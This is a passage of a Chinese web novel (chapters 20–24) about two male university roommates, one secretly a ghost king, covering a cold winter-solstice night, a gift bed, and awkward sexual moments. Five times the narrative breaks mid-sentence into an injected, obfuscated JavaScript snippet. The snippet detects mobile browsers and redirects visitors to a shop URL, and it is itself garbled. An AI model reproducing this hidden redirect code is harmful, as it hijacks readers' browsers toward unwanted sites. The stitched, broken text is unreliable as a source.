顾弛脸上的表情冷淡下来。 “你再说一句试试。” 徐骁抬头看清了顾弛的表情,这才意识到自己刚刚说错话了。 “别,哥,我嘴贱。”他抽了自己两个嘴巴子,“你当我没说。” 让徐骁滚蛋了,顾弛这才重新打开微信。 这一个多月以来,溪白都“借住”在顾弛的床上。 虽然偶尔还是想回去,但不出意外的,每次溪白吭哧吭哧把被子枕头搬回去后,当天的后半夜一定准时搬回来。 这两天,顾弛甚至不小心扫到过溪白的屏幕,看见他在网上浏览1m5的床架了。 看着溪白的微信消息,顾弛想起来一件事。 [顾:晚点我带洗衣液回去] [White:买洗衣液了?] [顾:你上次说的那个] [White:哪个?] [顾:我的味道那个] 一阵良久的沉默,最后溪白发了个大狗捂脸的表情包。 顾弛被可爱得心跳都在加速,剩下的两节篮球实训课打得那叫一个龙精虎猛。 “弛哥,别扣了我草!你盖我四次帽了!” 休息半场的时候,徐骁又凑过来,压低声音跟顾弛求情。 “给我留点面子好不,有人看呢!” 顾弛看向球场旁的看台,辨认了一下,他认出来了徐骁说的人。 看见顾弛抓着球朝看台过去的时候,徐骁急哄哄地去拦。 “弛哥你干啥,我刚说错话了还不行吗,你别……” 一直痴迷男色的庄算终于在阴影笼罩下来时回过了神。 他抬起头,看清面前的人,“咦,顾弛?” 顾弛点了点头,“你好。” “你好。”庄算点了点头,目光又往顾弛身后不远处,吹着口哨望天的徐骁那边看。 看了一会儿,他缓缓收回视线,道:“你有什么事吗?” “我想请问一下,溪白有什么喜欢的礼物吗?” 顾弛表情认真地说。 ※ 溪白在宿舍里晒刚洗好的床单。 床单比较大,他用了专门的加大号衣架,但同样增大的重量让晾衣杆变得吃力起来。 往上怼了好几次,衣架都突然歪斜滑落到边角一段,连带着床单也皱巴巴卷作一团,重新抻平又是一件麻烦事。 接连三四次,溪白都要没耐心了。 溪白决定再尝试最后一次,实在不行就等顾弛回来让他晒。 结果抓着晾衣杆末端颤颤巍巍地往晾衣绳上挂时,溪白手一阵摇晃。 这一次,整个衣架连带着床单都从晾衣杆的杆头上滑落。 一大片布影伴随着重量并不轻的大号衣架从天花板上直直地往溪白头顶砸来,他下意识地就抬起手护住脑袋。 但痛觉并未如期而至。 晾衣杆落地的当啷声早已过了很久,可衣架却像是凭空消失了似的。 溪白紧张地睁开一只眼睛。 先进入视野的,是一双手臂,肌肉结实漂亮,线条修长有力。 一只手抓着衣架和皱巴巴的床单,而另一只手饶过他的脖颈,垫在他脑后差一点就要碰到的墙壁区域。 顾弛将衣架连同床单一起挂到晾衣绳上,又把地上的晾衣杆捡起来放好。 “没受伤吧?” 溪白本能地摇了下头。 “以后我来负责晒床单吧。”顾弛又说。 他往溪白手里递了样东西,溪白下意识地去接,手里就是一沉。 “洗衣液。”顾弛言简意赅地道。 溪白噢了一声,扫了一眼牌子。 涤芙洗衣液? 没听过的牌子。 “超市里随便拿的。”顾弛抬手摸了摸鼻尖,“用完了和我说,我再去买。” 溪白本想着问是哪家超市,但被顾弛一句“洗衣液也挺重的”给堵了回去。 看了一眼自己的细胳膊细腿,又看了一眼对方的手臂。 算了,就让顾弛去吧。 大只的男人就是得干点体力活才对。 “你闻闻是不是那个味道。” 顾弛突然又来了一句,让不知是差点被衣架砸得丢了魂的溪白,再没有心思去想别的事情。 但他随即也发现,顾弛问这句话真的只是在确认:自己说的松木香气是不是就是这个洗衣液的气味。 只不过就这么讲出来,还是有些羞耻。 溪白拧开瓶盖,低头,鼻尖凑近。 一股淡淡的冷松木气味从瓶口里飘了出来,他嗅了嗅。 有点像,又有点不像。 难道是洗完后的留香?还是因为人有体温,所以闻起来的气味不同? 溪白正想再闻一口,却觉得味道渐渐熟悉了起来。 抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149692|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起头的时候,就看到顾弛不知什么时候突然上前了两步。 本身顾弛帮他挡衣架的那一下,两人的距离就够近了。 再近一步,都快贴着了。 溪白大脑神经一紧,下意识问了一句:“你,你干嘛!” “分辨不出来吗?”顾弛指了指他手里开了瓶的洗衣液,手指捏着衣领一角,“对比一下?” 溪白光速从阳台上消失。 砰一声关上阳台门的时候,顾弛隐约听见风声之中夹杂着一句压抑而又羞愤的嗔骂。 “……流氓!” 顾弛看了一眼刚刚被溪白塞回自己怀里的洗衣液。 他怎么就流氓了? 为了提取出溪白说的“他的”味道,他把自己冥府里的东西都翻遍了。 熏香到器物一件不落,又尝试了各种方法,才提炼出可能符合的气味来。 不像吗? 顾弛又低头闻了一下洗衣液,和自己的衣领。 感觉还行啊。 思索片刻,一道裹着黑雾的元神传讯自顾弛的眉心钻出,没入地下。 事关重大,他还是得让下属重新调制下配方。 万一溪白不肯用呢? 顾弛又传了一道新的讯息,两个字:加急。 他已经等不及让溪白身上布满“他的味道”了。 而一门之隔的房间里,溪白后背贴着墙壁,冰凉的墙体和两颊久居不下的灼烫相互冲撞,他觉得自己的身体堪比冰火两重天。 溪白看着前方,双目失焦许久,满脑子都是刚刚顾弛抓着领口朝他弯腰靠近时,那突然放大的优越五官,和距离拉近下略显霸道和侵略性的松木冷香气味。 眼睛很轻地眨了一下,溪白抬手摸了摸自己的胸口。 咚咚咚…… 他听见了自己疯狂加速的心跳声。 ※ 临近年底,天气渐寒,恰逢这几日乌云盖顶,走在路上都能听到一些来自南方的学生在激情讨论什么时候会下第一场雪。 [顾:我下课了] 十二月的北城已经降到了个位数,周围的学生们都忍不住套上厚外套裹成了粽子。 对比下来,穿着白色高领毛衣和黑色长风衣的顾弛就显得有些独树一帜了。 “弛哥,你这是要风度不要温度啊。” “隔壁学院的妹子都盯着看你呢。” “去去去。”徐骁把起哄的一帮体育生给赶走,“人家名草有主了。” “谁啊我草,没听说啊!” “透露点透露点……” 顾弛没理四周起哄的同班同学,自顾自甩开一群人下了楼。 他站在教学楼门口皱眉看了一圈四周,直到下课往外挤的人流都散的差不多了,也没有找到那个身影。 21.第 21 章 溪白回到宿舍的时候,已经晚上八点了。 他上楼的时候恰好有一队工人,扛着一大堆拆散的木架子下来,他扫了一眼只觉得有些眼熟,但并未多想。 直到一进宿舍门,发现走道好像比今早出门的时候窄了点。 然后顾弛的床更宽了点。 溪白:? 顾弛正拿着一条毛巾,擦拭着木质的栏杆,见溪白回来,他停下手里的工作。 “冬至快乐,溪白。” “希望你以后的每一个晚上都能睡得很好。” “也希望你喜欢我买的礼物。” 他语气十分平静且认真,让溪白意识到自己的礼物居然是边上这张双人床时,第一反应居然不觉得很沙雕。 反而有种莫名的耳热。 看顾弛身上穿的睡衣,他应该是已经洗过澡了。 宿舍已经开始了集体供暖,屋内的气温不是很低,高大的男生随便穿了套深蓝色的睡衣,明明是宽松的布料,却还是被撑出了修身款的错觉。 溪白露出一个笑容。 “谢谢你,顾弛。” 溪白去洗澡了,而顾弛则爬上了新到的1m5的床,他认真地将床铺从头到尾,从整体到细节都给打量了一番,心中暗自品评。 其实床还是稍微小了点,但考虑到其他因素,床小点也挺好。 算下来,溪白跟他也一块睡了两个多月了。 真好。 顾弛唇角的笑容,戛然而止于从浴室里出来的溪白伸手将他手边的小被子小枕头拿走,带着一起爬上对面那铺已经很久没有被使用过的,北城大学标配的旧床的那一刻。 “溪白?” 溪白听见顾弛的语气里带着十分明显的疑惑,他坐在触感已经有些陌生的软垫上,抬起头时,发现对方的眼神似乎也在说:你是不是爬错床了? 溪白垂下了眼睛。 他像是挣扎了一下,最终索性直接躺下,扯过了一旁的被子盖上。 “我睡这边。” 盯着那纤薄的后背,顾弛听见溪白闷闷的声音。 听得他心情也郁闷了。 不过此时的溪白没有多余的精力再去感受自己室友的情绪。 他光是从教学楼回来,再用双腿走进浴室洗个澡,最后拖着身体爬上自己的床,就已经消耗掉了全部的力气。 溪白很冷,还很疼。 寒意透彻骨髓,即使他已经翻出了全部的保暖衣物和被子,穿上又盖上了,依然不能消解哪怕半分。 这是老毛病了。 八字极阴,能听鬼的心声……这听起来厉害,但并非没有代价。 人活于阳世,自身阴气过重,必然会带来不好的影响。 于溪白身上体现出来的,就是他每到冬至便会受阴寒噬骨之苦,从小到大溪白想了无数种方法去解决,认识庄算后,后者也绞尽脑汁去替他询问。 但却依旧毫无改变。 寒意如穿了丝的银针,扎透骨髓,又狠狠从骨头缝隙里扯出。 溪白的冷汗都浸透了背脊,他蜷缩在厚重的被子和衣物里。四周一片黑暗,再没有其他的动静,也不知道顾弛是不是睡着了。 半梦半醒间,一层寒霜悄然覆盖上了溪白的睫毛。如若此时有光线,可以看见他的两颊早已冻得没有了血色,唇瓣也是一片的冷白,加上他本身就清瘦,此刻活脱脱像一个雪娃娃。 好冷啊…… 为什么,往年好像都没有这么冷。 是因为这段时间都谁在顾弛旁边,已经习惯了身边那暖和如小太阳一般的大型犬了吗。 溪白已经冷出了幻觉,他感觉自己看到了顾弛。 男生身材高大,肩膀宽厚,身上的温度更是熟悉,滚烫温暖,令人安心。 顾弛站在夏日傍晚一片明亮而和煦的日光里,带着笑容看自己,是那种阳光的,朝气蓬勃的笑,笑着笑着,他就变成了那只两人聊天时常常发的微笑大狗。 看着就毛绒绒,软乎乎的,很想抱一抱。 而溪白这么想的,就真的这么做了。 直到他真的环住一截有力结实,散发着滚烫体温的腰身,脸颊都隔着睡衣贴上了结实的腹肌,甚至都能感受到起伏的肌肉轮廓了,溪白才缓缓地恢复了些许意识。 他抬起了头。 被角被人从侧旁掀开,一股熟悉的松木香直接带着暖融融的触感闯了进来。 下一刻,溪白被人抱住,他像是撞进了一片有着冬日暖阳的松木森林,耳畔响起顾弛的声音,带着浓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176545|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浓的心疼与怜惜。 “溪白。” 溪白被强势地搂进一个滚烫而令人安心的怀抱里,灼热的呼吸打在颈侧的那一刻,他眼睫与眉毛上挂着的白霜,以肉眼可见的速度退了下去。 “溪白,你在发抖。” 顾弛心疼地道。 是吗,自己在发抖吗? 是了,这么冷,肯定会抖的。 溪白的脑袋已经有些不灵光了,但这一次并不是冻的,而是彻夜未眠的困倦袭来所导致。 再加上他上半夜像是泡在寒冰之中,现在又仿佛被捞起放进温泉里,劫后余生般的放松使得倦意更加浓重。几乎是本能地追着那股令他安心的冷松木香而去,溪白的脑袋往旁边一靠。 枕在顾弛的胸口,几个呼吸之间,他便睡着了。 宿舍里,又回到了极致的安静。 融化的霜变成了晶莹的水珠,挂在睫毛上显得更加纤长,也让顾弛觉得怀里本就精致、小巧的人显得更加易碎脆弱。 动作几乎称得上是谨慎小心,顾弛把人往怀里又搂紧了些许。 其实不用他搂,睡梦之中的溪白感受到热源,自己都往顾弛的怀里拱了拱。 好乖。 好乖的溪白。 黏人的溪白,很黏人,一直在往他怀里钻。 小小一只,缩成一团。 好可爱。 喜欢。 像是着了魔一般,几句话反复在脑海里来来去去。 顾弛眼皮低垂,眸子深黑如墨,窗外映进来的微光像是被刻意赶走了一般。 此时此刻他的眼里只能装得下一个小小的身影。 更容不得任何东西来和溪白争辉。 顾弛突然觉得,学校本身的床铺也是不错的。 他紧紧抱着溪白的时候,宽度刚刚好。 黑色逐渐覆盖上眼白的区域,直到占据了整只眼瞳。 因为太过激动,此刻的顾弛甚至维持不住人形,露出了属于鬼王的本相。 双目宛若不可见底的深渊,隐隐有红光闪烁,最终光影拉长,变成一条竖直的红线。 像是什么兽类的眼睛。 顾弛盯着溪白那雪白清秀的脖颈。 他控制不住地舔了舔唇。 22.第 22 章 就是这样让任何人看了都会心生寒意的眼睛,此时此刻流露出了一种与之气质截然不匹配的,叫作“温柔”的情愫。 刚刚的顾弛躺在对铺,本来是想像之前那般入溪白的梦的。 就像是习得了捕食规律的兽类,顾弛虽不太了解人类的观念和情感,但他知道一件事:每次入了梦,溪白就会跑到他床上睡。 这几个月的甜头,他品尝得实在饕足。 但今晚他却突然一语不发,回到了原本的旧床。 顾弛不能理解,但是还是想像是往常一样故技重施。 只是黑雾离体,靠近溪白的床铺时,顾弛敏锐地感觉到了溪白的状况不对。 意识回归的那个瞬间,顾弛毫不犹豫地翻身跳下了地,紧接着,便立刻爬上了溪白的床。 当他把浑身冰凉的溪白搂住,手指触及鼻尖,感受到呼吸尚存的那一刹那,顾弛大大地松了口气。 同时他也察觉到,自己的心跳已经到了一个前所未有的高速。 不过幸好,溪白的情况好像已经缓和过来了。 顾弛动作轻柔,带着呵护地把溪白的脑袋往自己的肩头上带了一点,让他以一个更加舒服的姿势躺在自己怀里。 低头的那一刹那,鼻息间探觉到了一阵熟悉的香气。 好香。 顾弛搭在溪白肩头的手蓦地收紧了力道,修长的手指隔着睡衣轻轻磨蹭了两下。 是溪白的味道。 那股往日里只是淡淡的,若隐若现的甜香,现在好像要浓烈很多。 跟他今晚的体温变化有关吗? 所以,今晚溪白刻意和他分床睡,其实是因为知道自己的身体可能会出状况? 顾弛一想到这,墨色瞳仁里的鲜红竖线就兴奋闪烁了几下,颜色甚至还有些变浅的趋势。 太好了,溪白没有讨厌他。 正当心中逐渐被发现真相的欣喜所铺满,空气之中都好像要泛起带着甜香的分红泡泡时,一窗之隔的阳台之外,传来了些许不是很让鬼愉悦的动静。 “是这吗……” “是啊,好香的味道!” “谁先吃一口,斯哈,我已经忍不住了!” “居然会有味道这么甜美的人类,不知道血肉的口感,会是什么味道的呢,咦嘿嘿……” 向粉红色转变的竖瞳几乎是瞬间变回冷硬的血红,顾弛眼尾抬起,瞭了一眼窗外。 替溪白掖好被角,身材高大的男生微微抬起下巴。 下一刻,数不清的浓稠黑雾自五官七窍中汹涌而出,雾气之中血光与金光交错闪烁,带着暴戾的杀意,直接从阳台门四周的缝隙之中涌了出去。 ※ 对于北城大学的各类阴物来说,过去两个月的日子可以形容为相当的贫瘠而寡淡。 自从上次不知道是哪位大能释放了些许气息,还斩杀了几只凶名赫赫的大鬼后,北城大学的阴物们都老实巴交地缩了起来。 也因此,这段时间它们既没有吃到什么天地灵气,也没有敢吓唬什么路人学生来采阳补阴。 但今天晚上,众阴物们都坐不住了。 从日落时分开始,整个北城大学就开始漫开一股很淡很淡的甜香味,混杂在冰冷的空气之中,被饥饿的阴物们疯狂吸入。 那气味的源头还在逐渐移动,最终在月亮升起到半空之时,停留在了一栋宿舍楼里。 消息逐渐传开,阴物们五花八门地确定了方位。 在反复确认这次和上一次那位斩杀厉鬼的大能所在的宿舍楼并非同一栋后,成百上千的阴物,大至厉鬼怨魂,小到山魈精怪,都各自找好了地点,潜伏在了“香气来源”的四周。 明日冬至,因此今天的午夜12点,将会是与中元鬼节一般的,一年之中阴气最盛之时。 对于饿了太久的阴物们来说,就像是濒临饿死之人被丢进了顶级丰盛的晚宴。 不胡吃海塞到撑死就不错了,更枉论去控制进食的本能。 因此,阴物们按照实力大小,从内到外地排列开来,甚至连隔壁清大的鬼都来凑热闹想分一杯羹了。若是有开了阴阳眼的天师路过,抬头看到此地漫山遍野、遮云避月的憧憧鬼影,恐怕都会误以为自己闯进了罗刹鬼渊、阿鼻地狱之类的所在。 草垛中、树梢边、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201167|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路灯上……只要是有空位的地方,皆有鬼去抢占。 只为了子时阴阳交泰之际,能第一时间冲上去将那香甜可口的猎物狠狠瓜分。 虽说心中仍有余悸,但却没有任何阴物能够抵挡那阵甜香所勾起的,源于魂魄最深处的,本能的食欲。 但很快,食欲就被另一种更加深层的情绪所覆盖了。 绝对的恐惧。 不知道是哪个最敏锐的鬼率先发现的。 “你,你,你们觉不觉得,有点冷啊……” 其它鬼先是下意识地嗤之以鼻了一下,但随即不少鬼也有了同样的反应。 好像是有点冷。 鬼会觉得冷?不会的,他们是鬼,没有体温,更感知不到温度的变化。 现在的感受,更准确地说,是恐惧带来的灵魂的颤抖与寒意。 “是,是那个气息!” 不知道又是哪个鬼率先尖叫了起来,原本围着宿舍层层叠叠的一众阴物们顿时乱作一团。 尖啸的、奔逃的、找地方躲藏的、呆在原地不知所措或是还没意识到发生了什么的…… 但不管是在作何反应,在接下来的数息之内,它们都走向了同一个下场。 被那从某一间宿舍的阳台门里钻出来的无数如黑色“丝线”扎了个对穿。 而后,连一丝渣滓也不剩下地,魂飞魄散。 今夜的北城大学,是一片没有血腥味的屠宰场。 多年以后甚至被天师组织记录在册,成为了一段“无名传奇”。 但因为实在找不到事情发生的源头。 最终,也只被描述成一个无名的出世大神,不知何种原因,在一夜之间清剿了以北城大学为中心的方圆十里的所有阴物厉鬼。 在此之后的数年内,北城大学附近没有任何厉鬼敢于靠近,连风靡与校内的各种灵异传说故事,也在此间销声匿迹。 而真实的原因往往比世人猜测的简单许多。 黑雾逐渐凝结成一个人形的身体,两只猩红的竖瞳自雾团之内浮现而出,满是冰冷。 太吵了。 都吵到小家伙睡觉了。 23.第 23 章 竖瞳目光垂落,触及床上那蜷起身体,安睡在柔软的“人肉床垫”怀里的清瘦身影时,刚刚消失了一阵的,粉红色的温柔情愫,又再一次融化了竖瞳表层的冰面,缓缓地浮现了出来。 顾弛飘到床边,黑雾凝结成两只手臂。 他托着下巴,手肘撑在床沿,低头,目光痴痴地看着溪白。 不知看了多久,黑雾重新灌注进七窍,床上的“顾弛”再一次睁开眼睛。 墨色自眼角向内褪去,露出瞳仁两侧的眼白,瞳孔也压缩成一个小点,变为了人类的黑色。 他抬起手。 指尖轻轻抚过溪白的眉心,指腹带着温暖与轻柔打转,很快就抚平了那一圈因为刚才外面众鬼“围城”带来的不适,而蹙起的小小皱褶。 在眉心舒展的那一瞬,顾弛的唇角浮现出一抹与方才屠戮万鬼时的气质截然相反的温柔笑意。 刚刚的确很吵。 不过还好。 他低下头,轻轻嗅了嗅那股令他痴迷的,只属于他一人的甜香。 现在,一切都安静了。 ※ 溪白的身体时而冰凉,时而又温暖得像是无恙。 顾弛守了他一个晚上,虽然鬼并不需要休息,但因为担忧,心脏也跟着溪白的体温起起落落的。 但顾弛不知道的是,这已经是溪白二十年来睡得最好的一个冬至了。 这也是为什么顾弛昨晚那句看似有些呆的“祝你以后每晚都能睡得很好”,会让溪白真心地感到开心并道谢。 溪白这人有个小毛病,每次睡醒就迷糊。 而冬至夜,他的身体不舒服,睡醒就更迷糊。 往些年都还是因为被寒气折腾一晚上,睡不着而迷糊。而今年的冬至夜,却是因为难得地睡得还不错,更加迷糊了。 好像,没有往年那么冷。 溪白迷迷糊糊地想。 眼皮没有被霜冻住,上下嘴唇也没有被冰黏在一块,鼻子好像也不觉得冻得发疼麻木…… 昨天不是冬至么? 怎么感觉昨天晚上睡得还行,暖烘烘的。 溪白自己都不知道自己这一两个月潜移默化之间,已经对顾弛有了一种潜意识里的信任和依赖。以至于昨天晚上脑袋往顾弛怀里一靠,闻着松木的香气,他直接就睡着了。 现在的溪白还没完全清醒,大脑还有一半在沉睡状态。 或许是四周的温度太舒服了,他感觉自己像躺在沙滩上,被温暖的阳光包裹着,那太阳还长了手,轻轻抚摸着他的后背。 就是手还有些凉。 溪白朝着温暖的小太阳伸出了手。 半空中莫名多出来一只热水袋,造型还很奇特,是格子型的,溪白伸手在上面抓了一把,热乎乎的,里面装满了热水,带着点弹性。 但手还是有些冷。 热水袋的下半似乎比上半要热些,于是溪白的手继续去追逐热源,一路向下。 然后面前漂浮着的热水袋突然就变形状了。 变成了圆柱形。 而且明明没有往里继续注水,圆柱形的热水袋变得越来越大,而且袋里好像还装了什么活物,一跳一跳的! 溪白好奇地捏了捏,又用手指戳了戳。 然后,“热水袋”就闷哼了一声。 耳畔低沉而又隐忍的声音,让溪白缓缓地从那奇特的梦里清醒过来。 他模模糊糊间感觉四周很急,身旁还有个人。 怎么床好像又变小了?昨晚不是换了1m5的大床了吗,难道顾弛又变大只了? 不对啊,他昨晚不是睡的自己的床吗。 等等…… 溪白搓眼睛的动作一顿。 他猛地睁开眼睛。 昨晚,他的确是在自己的床上睡的没错,但是半夜顾弛好像过来了! 溪白抬起头,在看到面前那俊朗优越的脸庞时,大脑瞬间宕机。 顾弛的脸好红啊。 他为什么一直在看旁边,不敢看自己? 等等…… 残余的一丝理智,让溪白终于意识到刚刚那声闷哼,只能是顾弛发出来的。 那自己手上一直抓着的“热水袋”…… 溪白掀开被子,缓缓低下头。 “热水袋”像是在刻意昭示自己的存在一般,在与溪白的视线的时候,打了个招呼。 怎么说呢,就是热情洋溢地弹了一下。 溪白感觉自己抬起头的动作比僵尸灵活不了多少。 溪白:…… 顾弛:。 溪白:………… “啊!!!” 顾弛眼疾手快,把从床上平地弹起向后翻滚的溪白一拉,将好悬没摔个倒栽葱的溪白一把拽回了床铺里。 但因为太过紧张,他也没控制好力道。 加上溪白又轻,整个人控制不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221689|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,像是反弹一样又撞进了顾弛的怀里。 然后又和某个同样很大只的热水袋打了个招呼。 溪白:…… 他脑子里只剩下一句话。 这次真当了回升旗手了。 ※ 冰凉的水流冻得指尖泛红,但和耳朵与脸颊上的红色对比,也显得淡了许多。 掬了一把又一把凉水泼在脸上,却还是带不走那滚烫的温度,溪白心想,这估计是他过得最不冷的一个冬至了。 直到最后他扯了两张洗面巾沾湿了水贴在脸上。 那细密像绵软的针尖扎在皮肤上的刺挠感才缓缓地被凉意冰镇,消散了许多。 溪白站在阳台,打算让自己冷静一下。 他的脑海里一团乱,花了许久时间,才抽丝剥茧出一点理智和思绪。 所以顾弛昨晚是发现了他的情况不对,才爬上了床的。 却不想,他八字极阳的体质刚好能和自己这种八字极阴的对冲,让那折磨了自己二十年的寒意褪去,倒是歪打正着。 说溪白不感动,那当然是假的。 只是早上那意外的事情发生,让他当时没有空去思索昨晚顾弛照顾了他什么。 此时回想起来,心中一片暖融融的。 顾弛人真的很不错。 虽然偶尔脾气有些奇怪,但人长得帅,身材也好,而且对自己这个室友的关心是实打实的,换做旁人,昨晚就算发现了他的身体情况不对,可能也会被吓到,或者并没有放在心上。 而顾弛是实实在在地搂着他睡了一晚上。 甚至顾弛可能都不知道自己有着极阳的八字和体质,本意是打算用体温来让他不要那么冷。 回想起早上醒来时被顾弛抱着的感觉,溪白有一种莫名的安心。 胸膛宽阔而温暖,像是能替他抵挡住一切痛苦。 想着想着,他的耳尖又热了,思绪也跟着上升的温度开始乱窜。 不过顾弛真的很大只啊。 虽然上次已经因为意外看到了一眼,但当时隔着两铺床的距离,而今早却是近距离接触。 溪白盯着自己的手,五指虚握,比划了一下当时的手型,又观测了一下拇指和其余四指握成的圈的大小。 一阵让人清醒的冷风从阳台边吹过。 回过神来的溪白:…… !!! 他冲到洗手池边,又开始洗脸了。 24.第 24 章 直到阳台的水声停下,顾弛才恋恋不舍地放下手里的被褥。 他抿了抿唇,眼睛垂得更低。 伸手拉开阳台门,溪白走进暖气氤氲的寝室。 床下空无一人,并未看见顾弛的身影。 溪白抬起头,目光向上。 顷刻间,他甚至以为自己出现了错觉。 顾弛正坐在床上看着他,却又没看着他。 准确来说,是看他一眼,但很快,又带着点别的什么,移开视线。 这表情看着就有些委屈巴巴的。 “怎么了?”溪白问,他第一反应是不是顾弛昨晚没盖被子着凉了,“你是生病了吗?” 顾弛摇了摇头,却没说话。 见状溪白更加担心了,以为对方是怕自己担心和歉疚故意隐瞒不说。 动作迅速地爬上了床,溪白跪趴在顾弛面前,伸手去摸他的额头,“有没有发热,或者说想打喷嚏?” 手背贴上饱满光洁的额头,溪白感觉到的温度似乎比较正常。 而顾弛的呼吸,一开始似乎还算是比较平静的,但随着溪白一脸担忧地摸他的额头,脸侧温度……顾弛的胸口起伏肉眼可见地明显了起来。 见顾弛不说话,但又好像有点不太舒服。 溪白都有些火烧眉毛了,“顾弛,你……” 话说到一半,他目光往下。 视线触及那让顾弛面色略显异常的源头时,一切都有了解释。 溪白动作一僵,整个人从焦急变成了尴尬。 “啊哈哈,那你没有不舒服的话,我就……” 溪白向后撤去的手被另一只手掌轻松地扣住了手腕。 力道不大,但足以清晰地让溪白感受到彼此之间的力量差距。 顾弛的拇指按在溪白的腕骨突起的那一小块上,指腹轻轻地摩擦过肌肤,留下一道粉色的指痕。 上一次在家具城,顾弛也这么抓着溪白的手,轻轻蹭了一下。 但此时彼时气氛完全不同,当时的溪白刚从幻境里脱离出来,心有余悸,并没有对此多加注意什么。 而现在…… 宿舍里的空气似乎都变得不一样了。 供暖时的北城,室内总是温暖而干燥的,但此时宿舍里却像是多了许多彩色的泡泡。泡泡向上漂浮,撞到天花板又破碎,落下的泡沫液让空气变得都有些腻了。 房间里没有开灯,唯一的光源就是阳台映进来的微光。天气又并不晴朗,屋内本就昏暗。 两人能听见的,只有彼此的呼吸声。 在这般情景下,徒增几分难言的暧昧。 “溪白。” 顾弛终于开口。 “我……涨的难受。” 修长的手指顺着腕骨向上,直至钻入掌心,顾弛的声音带着几分难耐,但仍旧清澈的双眼却彰显着一个事实。 他是真的难受。 也是真的茫然,茫然到只能向溪白求助。 “溪白……我这样,怎么办啊?” 顾弛抬起头看着溪白的眼睛,开口说。 ※ 溪白觉得,这个月宿舍的用水量应该格外大。 他已经不记得这是自己今天早上第几次洗脸了,但现在肯定是最久的一次。 拧上水龙头,他拿过毛巾擦了擦自己的脸。 溪白望了一眼墙上挂着的镜子。 镜子里,本就皮肤白皙的男生因为洗了太久的冷水,都冻得没有什么血色了。 但依旧遮不住耳朵上的红。 可耳朵还不是最红的。 最红的,是那两瓣饱满的,看着就很有弹性的唇。 用手搓的。 啪嗒一声,浴室门被人从里面打开。 顾弛穿着一套新换的衣服走了出来,看了一眼正呜呜转着的洗衣机。 “我可以放下去吗?”他提着手里换下来的旧衣服,看溪白。 溪白唔了一声。 “你放就是了。” 洗衣机重新运转,顾弛回头。 “溪白。” 溪白:! “怎,怎么了。” “抱歉。”顾弛略微垂下头,“弄脏了你的床单,还有你的,脸……” 溪白:“我没生气,不用道歉!” 顾弛听他的语气,更急了。 “真的,我没想到会……” “别说了!” 顾弛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254229|138211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不是故意的? 可是他的表情真的很无辜! 溪白处于极端撕裂之中,一边又想让顾弛别说了,一边又羞耻得无法开口。 表现出来的就是他好像真的在生气,不想理会刚刚做了坏事的顾弛了。 顾弛:“我刚刚真的控制不住,也没想到会弄到你脸……” 溪白内心一阵尖叫,手却更快地按住了顾弛的嘴。 好了! 你不要再说了! “我!没!生!气!” 溪白觉得自己牙都要咬疼了,但却又不得不挤出一个在视觉意义上可以被定义为“温柔”的笑容。 免得面前的大型犬又解读出什么别的东西来,再给他来几句暴击。 溪白觉得自己的心脏已经承受不了更多东西了。 顾弛被他捂着嘴。 轻轻眨了眨眼。 “我没生气,听懂了吗?”溪白想了想,又说,“听懂就点头。” 面前的大型犬乖乖地点了点头。 终于平息了一场风波,溪白逃进了屋内。 他立刻坐回自己的位置上开始埋首写作业,虽然听见脚步声在背后停顿了许久,而后又离开,但溪白连头也不敢回一下了。 